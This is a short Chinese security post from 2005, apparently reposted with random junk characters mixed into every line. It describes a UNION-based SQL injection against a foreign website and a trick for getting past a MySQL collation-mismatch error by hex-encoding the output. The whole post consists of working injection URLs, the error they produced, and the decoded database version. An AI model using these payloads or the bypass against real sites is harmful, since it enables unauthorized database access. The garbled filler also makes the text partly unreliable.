本文作者:SuperHei
7 V, x& U+ ^: [# A- Q3 a文章性质:原创
1 a& j8 _5 ]; U* m8 v g发布日期:2005-10-18. B& L! h% u4 X" T" G, j8 |
测试个国外的站时:' W! x" \; X* W# t' Z
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
( A( F- ?: p% w/ K5 d* G+ S返回错误:
5 I9 d" d4 v/ y% o4 }- O" d F, EIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
- Q- t6 H& T. EMySQL Error No. 126
* |( w0 [0 ]/ j看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
* N6 t4 [9 G% Q- S& R: [解决办法:转为其他编码如hex。
' f4 `3 g- Z3 {; K8 E$ f0 K: vurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*2 V# j3 b7 Y1 w1 J2 h: _/ C* b
成功得到hex(version())的值为:. \8 B W) a: S+ t
342E312E332D62657461
; z: _1 x R3 r1 Q% b" r回Mysql查询下得到:
5 M+ H. g1 e }$ @8 L& n) `mysql> select 0x342E312E332D62657461;
) x3 o1 _+ s2 I# K+------------------------+1 U& Z6 |" t6 Y
| 0x342E312E332D62657461 |! ^2 P- l# |8 }8 Q- \+ y7 q" b
+------------------------+
( j( n& [( l% C0 }* N6 b5 n| 4.1.3-beta |% f/ w0 w' ~$ F: q
+------------------------+ X# |7 N0 V9 w: e- S
1 row in set (0.00 sec)/ U1 ?) Q' b1 P, N$ u
| T, o2 x1 k& n. V; I \, H
|